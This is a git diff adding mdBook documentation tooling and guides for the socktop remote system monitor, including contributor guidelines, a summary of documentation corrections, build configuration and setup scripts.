# switch UID, run the restricted shell directly. The --no-kill flag and the
|
||||
# SOCKTOP_NO_KILL environment variable still apply.
|
||||
exec /usr/local/bin/restricted-shell.sh
|
||||
@@ -0,0 +1,10 @@
|
||||
# mdBook build output
|
||||
book/
|
||||
|
||||
# Backup files
|
||||
*.bak
|
||||
*~
|
||||
|
||||
# OS files
|
||||
.DS_Store
|
||||
Thumbs.db
|
||||
@@ -0,0 +1,345 @@
|
||||
# Contributing to socktop Documentation
|
||||
|
||||
Thank you for your interest in improving the socktop documentation!
|
||||
|
||||
## Quick Start
|
||||
|
||||
1. **Install documentation tools:**
|
||||
```bash
|
||||
./setup-docs.sh
|
||||
```
|
||||
|
||||
2. **Make your changes** to the relevant `.md` files in `src/`
|
||||
|
||||
3. **Test locally:**
|
||||
```bash
|
||||
mdbook serve
|
||||
```
|
||||
Open http://localhost:3000 to preview
|
||||
|
||||
4. **Submit a pull request** with your changes
|
||||
|
||||
## Documentation Structure
|
||||
|
||||
```
|
||||
docs/src/
|
||||
├── SUMMARY.md # Table of contents (edit when adding pages)
|
||||
├── introduction.md # Project overview
|
||||
├── installation/ # Installation guides
|
||||
├── usage/ # Usage documentation
|
||||
├── security/ # Security guides
|
||||
└── advanced/ # Advanced topics
|
||||
```
|
||||
|
||||
## Writing Guidelines
|
||||
|
||||
### Style Guide
|
||||
|
||||
- **Be clear and concise** - Users want answers, not prose
|
||||
- **Use active voice** - "Run the command" not "The command should be run"
|
||||
- **Include examples** - Show, don't just tell
|
||||
- **Test your code** - Verify all commands and code examples work
|
||||
- **Link related content** - Help users discover related topics
|
||||
|
||||
### Markdown Formatting
|
||||
|
||||
Use standard Markdown with these conventions:
|
||||
|
||||
#### Code Blocks
|
||||
|
||||
Always specify the language:
|
||||
|
||||
~~~markdown
|
||||
```bash
|
||||
cargo install socktop
|
||||
```
|
||||
|
||||
```rust
|
||||
use socktop_connector::*;
|
||||
```
|
||||
|
||||
```toml
|
||||
[profiles.server]
|
||||
url = "ws://localhost:3000"
|
||||
```
|
||||
~~~
|
||||
|
||||
#### Command Examples
|
||||
|
||||
Show both the command and expected output:
|
||||
|
||||
```bash
|
||||
# Check version
|
||||
socktop --version
|
||||
# Output: socktop 1.50.2
|
||||
```
|
||||
|
||||
#### Admonitions
|
||||
|
||||
Use clear callouts for important information:
|
||||
|
||||
```markdown
|
||||
**Note:** This requires root permissions.
|
||||
|
||||
**Warning:** This will delete all data.
|
||||
|
||||
**Tip:** Use Ctrl+C to exit.
|
||||
```
|
||||
|
||||
#### Links
|
||||
|
||||
Use descriptive link text:
|
||||
|
||||
```markdown
|
||||
✅ Good: See [Agent Service Setup](../installation/agent-service.md)
|
||||
❌ Bad: Click [here](../installation/agent-service.md)
|
||||
```
|
||||
|
||||
### Page Structure
|
||||
|
||||
Each page should follow this template:
|
||||
|
||||
```markdown
|
||||
# Page Title
|
||||
|
||||
Brief introduction explaining what this page covers.
|
||||
|
||||
## Section 1
|
||||
|
||||
Content...
|
||||
|
||||
### Subsection 1.1
|
||||
|
||||
More specific content...
|
||||
|
||||
## Section 2
|
||||
|
||||
More content...
|
||||
|
||||
## Next Steps
|
||||
|
||||
- [Related Topic 1](./related-topic-1.md)
|
||||
- [Related Topic 2](./related-topic-2.md)
|
||||
|
||||
<!-- TODO: Add more documentation -->
|
||||
<!-- TODO: Add specific improvements needed -->
|
||||
```
|
||||
|
||||
## Adding New Pages
|
||||
|
||||
1. **Create the file** in the appropriate directory:
|
||||
```bash
|
||||
touch src/installation/new-guide.md
|
||||
```
|
||||
|
||||
2. **Add to SUMMARY.md** in the correct section:
|
||||
```markdown
|
||||
# Installation
|
||||
|
||||
- [Quick Start](./installation/quick-start.md)
|
||||
- [New Guide](./installation/new-guide.md) # Add here
|
||||
```
|
||||
|
||||
3. **Write the content** following the guidelines above
|
||||
|
||||
4. **Test the build:**
|
||||
```bash
|
||||
mdbook build
|
||||
mdbook serve
|
||||
```
|
||||
|
||||
5. **Check for broken links:**
|
||||
- Navigate to your new page
|
||||
- Click all internal links
|
||||
- Verify they work correctly
|
||||
|
||||
## Updating Existing Pages
|
||||
|
||||
1. **Edit the `.md` file** directly
|
||||
|
||||
2. **Maintain consistency:**
|
||||
- Keep the same writing style
|
||||
- Don't remove useful examples
|
||||
- Update version numbers if needed
|
||||
|
||||
3. **Update related pages** if your changes affect them
|
||||
|
||||
4. **Test thoroughly:**
|
||||
```bash
|
||||
mdbook serve
|
||||
```
|
||||
|
||||
## TODO Comments
|
||||
|
||||
Use TODO comments to mark areas needing work:
|
||||
|
||||
```markdown
|
||||
<!-- TODO: Add more documentation -->
|
||||
<!-- TODO: Add screenshots -->
|
||||
<!-- TODO: Add video demonstration -->
|
||||
<!-- TODO: Expand with more examples -->
|
||||
```
|
||||
|
||||
These help identify areas for future improvement.
|
||||
|
||||
## Screenshots and Images
|
||||
|
||||
When adding images:
|
||||
|
||||
1. **Create an `images/` directory** in the relevant section:
|
||||
```bash
|
||||
mkdir -p src/installation/images
|
||||
```
|
||||
|
||||
2. **Use descriptive filenames:**
|
||||
```
|
||||
✅ Good: installation-apt-repository.png
|
||||
❌ Bad: screenshot1.png
|
||||
```
|
||||
|
||||
3. **Reference in Markdown:**
|
||||
```markdown
|
||||

|
||||
```
|
||||
|
||||
4. **Optimize images:**
|
||||
- Use PNG for screenshots
|
||||
- Use JPG for photos
|
||||
- Compress to reduce file size
|
||||
- Maximum width: 1200px
|
||||
|
||||
## Code Examples
|
||||
|
||||
### Shell Scripts
|
||||
|
||||
```bash
|
||||
#!/bin/bash
|
||||
# Always include a description comment
|
||||
|
||||
# Use descriptive variable names
|
||||
SERVER_URL="ws://localhost:3000"
|
||||
|
||||
# Show error handling
|
||||
if ! command -v socktop &> /dev/null; then
|
||||
echo "Error: socktop not installed"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
# Clear, commented steps
|
||||
socktop "$SERVER_URL"
|
||||
```
|
||||
|
||||
### Rust Code
|
||||
|
||||
```rust
|
||||
// Include necessary imports
|
||||
use socktop_connector::*;
|
||||
|
||||
// Add comments for complex logic
|
||||
#[tokio::main]
|
||||
async fn main() -> Result<(), Box<dyn std::error::Error>> {
|
||||
// Connect to agent
|
||||
let mut connector = connect_to_socktop_agent("ws://localhost:3000/ws").await?;
|
||||
|
||||
// Request metrics
|
||||
match connector.request(AgentRequest::Metrics).await {
|
||||
Ok(AgentResponse::Metrics(m)) => {
|
||||
println!("CPU: {:.1}%", m.cpu_total);
|
||||
}
|
||||
Err(e) => eprintln!("Error: {}", e),
|
||||
_ => unreachable!(),
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
### Configuration Files
|
||||
|
||||
Always show complete, working examples:
|
||||
|
||||
```toml
|
||||
# ~/.config/socktop/profiles.toml
|
||||
|
||||
[profiles.production]
|
||||
url = "wss://prod.example.com:3000"
|
||||
token = "your-token-here"
|
||||
ca_cert = "/etc/ssl/certs/ca.pem"
|
||||
verify_tls = true
|
||||
```
|
||||
|
||||
## Testing Your Changes
|
||||
|
||||
### Local Preview
|
||||
|
||||
```bash
|
||||
# Start development server
|
||||
mdbook serve
|
||||
|
||||
# Open in browser
|
||||
# Navigate to your changed pages
|
||||
# Verify formatting and links
|
||||
```
|
||||
|
||||
### Build Test
|
||||
|
||||
```bash
|
||||
# Clean build
|
||||
rm -rf book/
|
||||
mdbook build
|
||||
|
||||
# Check for warnings
|
||||
# Fix any broken links or errors
|
||||
```
|
||||
|
||||
### Cross-Reference Check
|
||||
|
||||
- Click all internal links
|
||||
- Verify they point to correct pages
|
||||
- Check that anchor links work
|
||||
- Test external links
|
||||
|
||||
## Submitting Changes
|
||||
|
||||
1. **Commit with clear messages:**
|
||||
```bash
|
||||
git add docs/src/installation/new-guide.md
|
||||
git commit -m "docs: Add new installation guide for Docker"
|
||||
```
|
||||
|
||||
2. **Push to your fork:**
|
||||
```bash
|
||||
git push origin docs/docker-install
|
||||
```
|
||||
|
||||
3. **Create pull request:**
|
||||
- Describe what you added/changed
|
||||
- Explain why it's needed
|
||||
- Link to any related issues
|
||||
|
||||
## Documentation Priorities
|
||||
|
||||
Focus on these high-impact areas:
|
||||
|
||||
1. **Missing content** marked with TODO comments
|
||||
2. **User-reported confusion** from issues/discussions
|
||||
3. **New features** that need documentation
|
||||
4. **Common questions** that arise frequently
|
||||
5. **Error scenarios** and troubleshooting
|
||||
|
||||
## Getting Help
|
||||
|
||||
- **Questions?** Open a discussion on GitHub
|
||||
- **Found a bug in docs?** Open an issue with the "documentation" label
|
||||
- **Want to discuss major changes?** Start with an issue before writing
|
||||
|
||||
## Recognition
|
||||
|
||||
All documentation contributors will be acknowledged in:
|
||||
- Git history
|
||||
- Contributors list
|
||||
- Release notes (for significant contributions)
|
||||
|
||||
## Thank You!
|
||||
|
||||
Good documentation is crucial for project success. Your contributions help users get started faster and use socktop more effectively. Thank you for helping improve the documentation! 🎉
|
||||
@@ -0,0 +1,201 @@
|
||||
# Documentation Corrections Summary
|
||||
|
||||
This document lists all corrections made to the socktop documentation to align with the actual implementation as documented in the official README.
|
||||
|
||||
## Date: 2025-01-XX
|
||||
|
||||
## Critical Corrections Made
|
||||
|
||||
### 1. Missing GPU Dependencies ✅ FIXED
|
||||
|
||||
**Issue:** Documentation failed to mention required GPU support libraries.
|
||||
|
||||
**Fix:** Added `libdrm-dev` and `libdrm-amdgpu1` to:
|
||||
- `docs/src/installation/prerequisites.md`
|
||||
- `docs/src/installation/quick-start.md`
|
||||
- `docs/src/installation/apt.md`
|
||||
- `docs/src/installation/cargo.md`
|
||||
|
||||
**Reason:** These libraries are explicitly required in the README for GPU metrics support on Raspberry Pi, Ubuntu, and PopOS.
|
||||
|
||||
---
|
||||
|
||||
### 2. TLS Certificate Auto-Generation ✅ FIXED
|
||||
|
||||
**Issue:** Documentation incorrectly instructed users to manually generate certificates with OpenSSL.
|
||||
|
||||
**Actual Behavior:** The agent automatically generates self-signed certificates on first run when `--enableSSL` is used.
|
||||
|
||||
**Files Updated:**
|
||||
- `docs/src/security/tls.md` - Completely rewrote the "Quick Start" section to reflect auto-generation
|
||||
- Added information about certificate location (`$XDG_CONFIG_HOME/socktop_agent/tls/cert.pem`)
|
||||
- Added information about `SOCKTOP_AGENT_EXTRA_SANS` environment variable
|
||||
- Updated certificate renewal section to explain simple deletion and restart process
|
||||
|
||||
**Key Changes:**
|
||||
- Changed from manual OpenSSL commands to simple `socktop_agent --enableSSL --port 8443`
|
||||
- Documented that certificate is auto-generated and location is printed on first run
|
||||
- Updated expiry information (~397 days)
|
||||
- Moved manual generation to "Manual Certificate Generation" section for advanced users only
|
||||
|
||||
---
|
||||
|
||||
### 3. Fabricated Command-Line Options ✅ FIXED
|
||||
|
||||
**Issue:** Documentation extensively referenced non-existent options.
|
||||
|
||||
**Fabricated Options:**
|
||||
- `--refresh-rate` (does not exist)
|
||||
- `--ca-cert` (actual flag is `--tls-ca`)
|
||||
- `--no-verify-tls` (does not exist in this form)
|
||||
|
||||
**Correct Options:**
|
||||
- `--metrics-interval-ms` (default: 500ms) - Controls fast metrics polling
|
||||
- `--processes-interval-ms` (default: 2000ms) - Controls process list polling
|
||||
- `--tls-ca` - Specify CA certificate for TLS verification
|
||||
- `--verify-hostname` - Enable strict hostname verification
|
||||
|
||||
**Files Updated:**
|
||||
- `docs/src/usage/general.md` - Fixed command-line options and examples
|
||||
- `docs/src/usage/configuration.md` - Fixed interval examples
|
||||
- `docs/src/usage/connection-profiles.md` - Fixed override examples
|
||||
- `docs/src/security/tls.md` - Fixed TLS option references
|
||||
- `docs/src/security/token.md` - Fixed CA cert flag
|
||||
|
||||
---
|
||||
|
||||
### 4. Profile Format Fabrication ✅ FIXED
|
||||
|
||||
**Issue:** Documentation claimed profiles are stored in TOML format.
|
||||
|
||||
**Actual Format:** Profiles are stored as JSON in `~/.config/socktop/profiles.json`
|
||||
|
||||
**Correct Structure:**
|
||||
```json
|
||||
{
|
||||
"profiles": {
|
||||
"prod": {
|
||||
"url": "ws://prod-host:3000/ws",
|
||||
"tls_ca": "/path/to/cert.pem",
|
||||
"metrics_interval_ms": 500,
|
||||
"processes_interval_ms": 2000
|
||||
}
|
||||
},
|
||||
"version": 0
|
||||
}
|
||||
```
|
||||
|
||||
**Files Updated:**
|
||||
- `docs/src/usage/connection-profiles.md` - Completely rewrote profile examples to use JSON
|
||||
- `docs/src/security/tls.md` - Fixed profile examples
|
||||
- `docs/src/security/token.md` - Fixed profile examples and file paths
|
||||
|
||||
**Note:** Many examples in connection-profiles.md still need updating (see "Remaining Issues" below).
|
||||
|
||||
---
|
||||
|
||||
### 5. Protocol Description ✅ FIXED
|
||||
|
||||
**Issue:** Documentation claimed WebSocket protocol uses Protocol Buffers.
|
||||
|
||||
**Actual Protocol:** JSON over WebSocket (as stated in README: "Remote monitoring via WebSocket (JSON over WS)")
|
||||
|
||||
**Files Updated:**
|
||||
- `docs/src/introduction.md` - Changed "Protocol Buffers" to "JSON"
|
||||
|
||||
---
|
||||
|
||||
### 6. Demo Mode Documentation ✅ ADDED
|
||||
|
||||
**Issue:** Documentation did not mention the built-in demo mode feature.
|
||||
|
||||
**Actual Feature:** The `--demo` flag starts a temporary local agent on port 3231 and auto-connects.
|
||||
|
||||
**Files Updated:**
|
||||
- `docs/src/installation/quick-start.md` - Added "Option 3: Demo Mode" section
|
||||
- `docs/src/usage/general.md` - Added "Demo Mode" as first usage option
|
||||
- `docs/src/introduction.md` - Added demo mode to features and quick start section
|
||||
|
||||
**Key Information Added:**
|
||||
- `socktop --demo` launches temporary agent on port 3231
|
||||
- Agent stops automatically when you quit
|
||||
- Interactive profile selection menu includes built-in `demo` option
|
||||
- Perfect for testing, learning, and demos without agent setup
|
||||
|
||||
---
|
||||
|
||||
## Remaining Issues (Known)
|
||||
|
||||
### Connection Profiles Documentation
|
||||
|
||||
The file `docs/src/usage/connection-profiles.md` still contains many TOML examples that should be JSON:
|
||||
|
||||
- Lines ~233-243: Production server examples
|
||||
- Lines ~265-274: Refresh rate examples (also using wrong option names)
|
||||
- Lines ~280-287: Environment variable examples
|
||||
- Lines ~293-302: Template examples
|
||||
- Lines ~309-319: Raspberry Pi cluster examples
|
||||
- Lines ~329-339: AWS examples
|
||||
- Lines ~349-359: Datacenter examples
|
||||
- Lines ~372-401: Troubleshooting section references
|
||||
|
||||
**Recommendation:** These should be converted to JSON format or removed in favor of simpler examples.
|
||||
|
||||
### Configuration Documentation
|
||||
|
||||
The file `docs/src/usage/configuration.md` may reference TOML in the configuration hierarchy section (line ~9).
|
||||
|
||||
---
|
||||
|
||||
## Verification Checklist
|
||||
|
||||
Before deploying documentation:
|
||||
|
||||
- [ ] All `--refresh-rate` references removed
|
||||
- [ ] All `--ca-cert` changed to `--tls-ca`
|
||||
- [ ] All `--no-verify-tls` references updated to explain proper behavior
|
||||
- [ ] All TOML profile examples converted to JSON
|
||||
- [ ] All file paths reference `.json` not `.toml`
|
||||
- [ ] GPU dependencies mentioned in all installation paths
|
||||
- [ ] TLS documentation explains auto-generation as primary method
|
||||
- [ ] Protocol description says JSON, not Protocol Buffers
|
||||
|
||||
---
|
||||
|
||||
## Testing Recommendations
|
||||
|
||||
1. **Verify actual command-line options:**
|
||||
```bash
|
||||
socktop --help
|
||||
socktop_agent --help
|
||||
```
|
||||
|
||||
2. **Verify profile format:**
|
||||
- Create a profile using `--profile` flag
|
||||
- Check `~/.config/socktop/profiles.json` format
|
||||
|
||||
3. **Verify TLS auto-generation:**
|
||||
- Run `socktop_agent --enableSSL --port 8443` on a fresh system
|
||||
- Confirm certificate is auto-generated
|
||||
- Check certificate location matches documentation
|
||||
|
||||
4. **Verify GPU dependencies:**
|
||||
- Test installation without `libdrm-dev libdrm-amdgpu1`
|
||||
- Confirm whether GPU metrics fail or if they're truly required
|
||||
|
||||
---
|
||||
|
||||
## Lessons Learned
|
||||
|
||||
1. **Always verify against source material** - Cross-reference README, actual CLI help, and source code
|
||||
2. **Don't fabricate features** - If uncertain, mark as TODO rather than guessing
|
||||
3. **Test commands before documenting** - Verify all command-line examples actually work
|
||||
4. **Configuration format matters** - JSON vs TOML vs YAML is critical, not interchangeable
|
||||
5. **Auto-generated features should be documented as such** - Don't make users do manual work when automation exists
|
||||
|
||||
---
|
||||
|
||||
## References
|
||||
|
||||
- Official README: https://github.com/jasonwitty/socktop/blob/master/README.md
|
||||
- Actual implementation should always take precedence over documentation
|
||||
+261
@@ -0,0 +1,261 @@
|
||||
# socktop Documentation
|
||||
|
||||
This directory contains the source for socktop's comprehensive documentation built with [mdBook](https://rust-lang.github.io/mdBook/) and styled with the Catppuccin Frappe theme.
|
||||
|
||||
## Quick Start
|
||||
|
||||
```bash
|
||||
# Install and build documentation
|
||||
./setup-docs.sh
|
||||
|
||||
# Or manually:
|
||||
cargo install mdbook mdbook-catppuccin
|
||||
cd docs && mdbook-catppuccin install && mdbook build
|
||||
|
||||
# Serve with live reload
|
||||
mdbook serve --open
|
||||
```
|
||||
|
||||
## What's Included
|
||||
|
||||
📚 **6,400+ lines** of comprehensive documentation covering:
|
||||
|
||||
- **Installation**: Quick start, prerequisites, Cargo, APT, systemd service, upgrading
|
||||
- **Usage**: General usage, connection profiles, keyboard controls, configuration
|
||||
- **Security**: Authentication tokens, TLS/SSL setup
|
||||
- **Advanced**: tmux/Zellij integration, agent library, connector API
|
||||
|
||||
## Building the Documentation
|
||||
|
||||
### Automated Setup (Recommended)
|
||||
|
||||
```bash
|
||||
./setup-docs.sh
|
||||
```
|
||||
|
||||
This script will:
|
||||
- Check for Rust/Cargo installation
|
||||
- Install mdbook and mdbook-catppuccin
|
||||
- Install Catppuccin theme assets
|
||||
- Build the documentation
|
||||
- Provide next steps
|
||||
|
||||
### Manual Setup
|
||||
|
||||
1. **Install tools:**
|
||||
```bash
|
||||
cargo install mdbook
|
||||
cargo install mdbook-catppuccin
|
||||
```
|
||||
|
||||
2. **Install theme:**
|
||||
```bash
|
||||
cd docs
|
||||
mdbook-catppuccin install
|
||||
```
|
||||
|
||||
3. **Build:**
|
||||
```bash
|
||||
mdbook build
|
||||
```
|
||||
|
||||
4. **Serve locally:**
|
||||
```bash
|
||||
mdbook serve
|
||||
```
|
||||
Open http://localhost:3000
|
||||
|
||||
### Automatic Build (During Compilation)
|
||||
|
||||
Documentation builds automatically when compiling the project:
|
||||
|
||||
```bash
|
||||
# From project root
|
||||
cargo build
|
||||
```
|
||||
|
||||
Built docs are copied to `static/docs/` and served at `/assets/docs/`
|
||||
|
||||
## Documentation Structure
|
||||
|
||||
```
|
||||
docs/
|
||||
├── book.toml # mdBook configuration with Catppuccin
|
||||
├── README.md # This file
|
||||
├── CONTRIBUTING.md # Contributor guidelines
|
||||
├── setup-docs.sh # Automated setup script
|
||||
├── .gitignore # Ignore build artifacts
|
||||
└── src/
|
||||
├── SUMMARY.md # Table of contents
|
||||
├── introduction.md # Project overview
|
||||
├── installation/ # Installation guides (6 pages)
|
||||
│ ├── quick-start.md
|
||||
│ ├── prerequisites.md
|
||||
│ ├── cargo.md
|
||||
│ ├── apt.md
|
||||
│ ├── agent-service.md
|
||||
│ └── upgrading.md
|
||||
├── usage/ # Usage guides (4 pages)
|
||||
│ ├── general.md
|
||||
│ ├── connection-profiles.md
|
||||
│ ├── keyboard-mouse.md
|
||||
│ └── configuration.md
|
||||
├── security/ # Security documentation (2 pages)
|
||||
│ ├── token.md
|
||||
│ └── tls.md
|
||||
└── advanced/ # Advanced topics (4 pages)
|
||||
├── tmux.md
|
||||
├── zellij.md
|
||||
├── agent-integration.md
|
||||
└── connector.md
|
||||
```
|
||||
|
||||
## Adding New Pages
|
||||
|
||||
1. **Create the file** in the appropriate directory:
|
||||
```bash
|
||||
touch src/installation/new-guide.md
|
||||
```
|
||||
|
||||
2. **Add to SUMMARY.md** in the correct section:
|
||||
```markdown
|
||||
# Installation
|
||||
- [Quick Start](./installation/quick-start.md)
|
||||
- [New Guide](./installation/new-guide.md) # Add here
|
||||
```
|
||||
|
||||
3. **Write content** following the [CONTRIBUTING.md](./CONTRIBUTING.md) guidelines
|
||||
|
||||
4. **Test:**
|
||||
```bash
|
||||
mdbook serve
|
||||
```
|
||||
|
||||
5. **Commit:**
|
||||
```bash
|
||||
git add src/installation/new-guide.md src/SUMMARY.md
|
||||
git commit -m "docs: Add new installation guide"
|
||||
```
|
||||
|
||||
## Writing Guidelines
|
||||
|
||||
### Style
|
||||
- ✅ Clear and concise language
|
||||
- ✅ Active voice ("Run the command" not "The command should be run")
|
||||
- ✅ Include working code examples
|
||||
- ✅ Add `<!-- TODO: -->` comments for incomplete sections
|
||||
- ✅ Link to related pages
|
||||
|
||||
### Code Examples
|
||||
Always specify the language:
|
||||
|
||||
````markdown
|
||||
```bash
|
||||
cargo install socktop
|
||||
```
|
||||
|
||||
```rust
|
||||
use socktop_connector::*;
|
||||
```
|
||||
|
||||
```toml
|
||||
[profiles.server]
|
||||
url = "ws://localhost:3000"
|
||||
```
|
||||
````
|
||||
|
||||
### Structure
|
||||
Each page should have:
|
||||
- Clear title
|
||||
- Brief introduction
|
||||
- Logical sections with headings
|
||||
- Code examples
|
||||
- "Next Steps" section with related links
|
||||
- TODO comments for future improvements
|
||||
|
||||
See [CONTRIBUTING.md](./CONTRIBUTING.md) for detailed guidelines.
|
||||
|
||||
## Catppuccin Theme
|
||||
|
||||
The documentation uses the [Catppuccin Frappe](https://github.com/catppuccin/catppuccin) theme to match socktop's TUI color scheme.
|
||||
|
||||
**Features:**
|
||||
- Dark theme optimized for readability
|
||||
- Syntax highlighting for code blocks
|
||||
- Beautiful, consistent color palette
|
||||
- Matches socktop terminal UI
|
||||
|
||||
**Installation:**
|
||||
```bash
|
||||
mdbook-catppuccin install
|
||||
```
|
||||
|
||||
## Accessing the Documentation
|
||||
|
||||
### Via Web Interface
|
||||
1. Start webterm server: `cargo run`
|
||||
2. Open http://localhost:8082
|
||||
3. Click "Docs" button
|
||||
4. Documentation opens in browser
|
||||
|
||||
### Direct File Access
|
||||
Open `docs/book/index.html` in any browser
|
||||
|
||||
### Published Online
|
||||
- Production: https://socktop.io/docs/ (when deployed)
|
||||
- Local dev: http://localhost:8082/assets/docs/
|
||||
|
||||
## Maintenance
|
||||
|
||||
### Update Theme
|
||||
```bash
|
||||
cd docs
|
||||
mdbook-catppuccin install
|
||||
```
|
||||
|
||||
### Clean Build
|
||||
```bash
|
||||
rm -rf book/
|
||||
mdbook build
|
||||
```
|
||||
|
||||
### Check for Broken Links
|
||||
```bash
|
||||
mdbook build
|
||||
# Navigate through all pages in browser
|
||||
# Click all internal links to verify
|
||||
```
|
||||
|
||||
## Contributing
|
||||
|
||||
See [CONTRIBUTING.md](./CONTRIBUTING.md) for detailed contributor guidelines.
|
||||
|
||||
**Quick tips:**
|
||||
- Focus on TODO-marked sections first
|
||||
- Test all code examples before committing
|
||||
- Include screenshots when helpful
|
||||
- Cross-reference related topics
|
||||
- Keep examples minimal and focused
|
||||
|
||||
## Documentation Statistics
|
||||
|
||||
- **Total Pages**: 18 (including SUMMARY and introduction)
|
||||
- **Total Lines**: 6,400+ lines of Markdown
|
||||
- **Code Examples**: 200+ code blocks
|
||||
- **Sections**: 4 major sections
|
||||
- **Topics**: 31+ distinct topics covered
|
||||
|
||||
## Support
|
||||
|
||||
- **Questions?** Open a GitHub discussion
|
||||
- **Found errors?** Open an issue with "documentation" label
|
||||
- **Want to contribute?** See [CONTRIBUTING.md](./CONTRIBUTING.md)
|
||||
|
||||
## Recognition
|
||||
|
||||
All documentation contributors are acknowledged in:
|
||||
- Git commit history
|
||||
- Contributors list
|
||||
- Release notes (for significant contributions)
|
||||
|
||||
Thank you for helping improve socktop documentation! 🚀
|
||||
@@ -0,0 +1,44 @@
|
||||
[book]
|
||||
authors = ["Jason Witty"]
|
||||
language = "en"
|
||||
src = "src"
|
||||
title = "socktop Documentation"
|
||||
description = "Comprehensive documentation for socktop - A TUI-first remote system monitor"
|
||||
|
||||
[build]
|
||||
create-missing = false
|
||||
|
||||
[output.html]
|
||||
default-theme = "frappe"
|
||||
preferred-dark-theme = "frappe"
|
||||
git-repository-url = "https://github.com/jasonwitty/socktop"
|
||||
site-url = "/socktop/"
|
||||
cname = "socktop.io"
|
||||
additional-css = ["./theme/catppuccin.css"]
|
||||
additional-js = ["./theme/catppuccin-themes.js"]
|
||||
no-section-label = true
|
||||
sidebar-header-nav = false
|
||||
|
||||
[output.html.fold]
|
||||
enable = false
|
||||
level = 0
|
||||
|
||||
[output.html.search]
|
||||
enable = true
|
||||
limit-results = 30
|
||||
teaser-word-count = 30
|
||||
use-boolean-and = true
|
||||
boost-title = 2
|
||||
boost-hierarchy = 1
|
||||
boost-paragraph = 1
|
||||
expand = true
|
||||
|
||||
[output.html.print]
|
||||
enable = true
|
||||
|
||||
[output.html.playground]
|
||||
editable = false
|
||||
copyable = true
|
||||
copy-js = true
|
||||
line-numbers = false
|
||||
runnable = false
|
||||
Executable
+57
@@ -0,0 +1,57 @@
|
||||
#!/bin/bash
|
||||
# Setup script for socktop documentation tools
|
||||
|
||||
set -e
|
||||
|
||||
echo "🚀 Setting up socktop documentation tools..."
|
||||
echo ""
|
||||
|
||||
# Check if cargo is installed
|
||||
if ! command -v cargo &> /dev/null; then
|
||||
echo "❌ Error: cargo is not installed"
|
||||
echo " Please install Rust first: https://rustup.rs/"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
echo "✓ Cargo found"
|
||||
|
||||
# Install mdbook
|
||||
echo ""
|
||||
echo "📚 Installing mdbook..."
|
||||
if command -v mdbook &> /dev/null; then
|
||||
echo "✓ mdbook is already installed ($(mdbook --version))"
|
||||
else
|
||||
cargo install mdbook
|
||||
echo "✓ mdbook installed successfully"
|
||||
fi
|
||||
|
||||
# Download Catppuccin theme CSS
|
||||
echo ""
|
||||
echo "🎨 Downloading Catppuccin theme CSS..."
|
||||
cd "$(dirname "$0")"
|
||||
mkdir -p theme
|
||||
|
||||
# Download the CSS file
|
||||
curl -fsSL https://github.com/catppuccin/mdBook/releases/latest/download/catppuccin.css \
|
||||
-o theme/catppuccin.css
|
||||
|
||||
echo "✓ Catppuccin theme CSS downloaded"
|
||||
|
||||
# Build documentation
|
||||
echo ""
|
||||
echo "🔨 Building documentation..."
|
||||
mdbook build
|
||||
echo "✓ Documentation built successfully"
|
||||
|
||||
echo ""
|
||||
echo "✅ Setup complete!"
|
||||
echo ""
|
||||
echo "Next steps:"
|
||||
echo " • View docs: mdbook serve --open"
|
||||
echo " • Build docs: mdbook build"
|
||||
echo " • Clean docs: rm -rf book/"
|
||||
echo ""
|
||||
echo "The documentation will also be built automatically when you run 'cargo build'."
|
||||
echo "It will be served at http://localhost:8082/assets/docs/ when running the webterm server."
|
||||
echo ""
|
||||
echo "Note: Using default mdBook themes with Catppuccin CSS overlay."
|
||||
Executable
+10
@@ -0,0 +1,10 @@
|
||||
#!/bin/bash
|
||||
# Download default mdbook theme files
|
||||
curl -L https://raw.githubusercontent.com/rust-lang/mdBook/master/src/theme/index.hbs > docs/theme/index.hbs
|
||||
|
||||
# Replace theme buttons with Catppuccin flavors
|
||||
sed -i 's/<li role="none"><button role="menuitem" class="theme" id="light">Light<\/button><\/li>/<li role="none"><button role="menuitem" class="theme" id="latte">Latte<\/button><\/li>/' docs/theme/index.hbs
|
||||
sed -i 's/<li role="none"><button role="menuitem" class="theme" id="rust">Rust<\/button><\/li>/<li role="none"><button role="menuitem" class="theme" id="frappe">Frappé<\/button><\/li>/' docs/theme/index.hbs
|
||||
sed -i 's/<li role="none"><button role="menuitem" class="theme" id="coal">Coal<\/button><\/li>/<li role="none"><button role="menuitem" class="theme" id="macchiato">Macchiato<\/button><\/li>/' docs/theme/index.hbs
|
||||
sed -i 's/<li role="none"><button role="menuitem" class="theme" id="navy">Navy<\/button><\/li>/<li role="none"><button role="menuitem" class="theme" id="mocha">Mocha<\/button><\/li>/' docs/theme/index.hbs
|
||||
sed -i '/<li role="none"><button role="menuitem" class="theme" id="ayu">Ayu<\/button><\/li>/d' docs/theme/index.hbs
|
||||
@@ -0,0 +1,28 @@
|
||||
# Summary
|
||||
|
||||
[Introduction](./introduction.md)
|
||||
|
||||
- [Installation]()
|
||||
- [Quick Start](./installation/quick-start.md)
|
||||
- [Prerequisites](./installation/prerequisites.md)
|
||||
- [Install via Cargo](./installation/cargo.md)
|
||||
- [Install via APT](./installation/apt.md)
|
||||
- [Agent Service Setup](./installation/agent-service.md)
|
||||
- [Upgrading](./installation/upgrading.md)
|
||||
- [Platform Notes](./installation/platform-notes.md)
|
||||
|
||||
- [Usage]()
|
||||
- [General Usage](./usage/general.md)
|
||||
- [Connection Profiles](./usage/connection-profiles.md)
|
||||
- [Keyboard and Mouse Controls](./usage/keyboard-mouse.md)
|
||||
- [Configuration](./usage/configuration.md)
|
||||
|
||||
- [Security]()
|
||||
- [Authentication Token](./security/token.md)
|
||||
- [TLS Configuration](./security/tls.md)
|
||||
|
||||
- [Advanced]()
|
||||
- [Monitor Multiple Hosts with tmux](./advanced/tmux.md)
|
||||
- [Monitor Multiple Hosts with Zellij](./advanced/zellij.md)
|
||||
- [Agent Direct Integration](./advanced/agent-integration.md)
|
||||
- [Socktop Connector Library](./advanced/connector.md)
|
||||
@@ -0,0 +1,186 @@
|
||||
# WebSocket API Integration
|
||||
|
||||
Integrate with the socktop agent's WebSocket API to build custom monitoring tools. If you're writing Rust, prefer the [socktop_connector library](./connector.md), which wraps all of this.
|
||||
|
||||
## WebSocket Endpoint
|
||||
|
||||
```
|
||||
ws://HOST:PORT/ws # Without TLS
|
||||
wss://HOST:PORT/ws # With TLS
|
||||
```
|
||||
|
||||
With authentication token (if configured):
|
||||
```
|
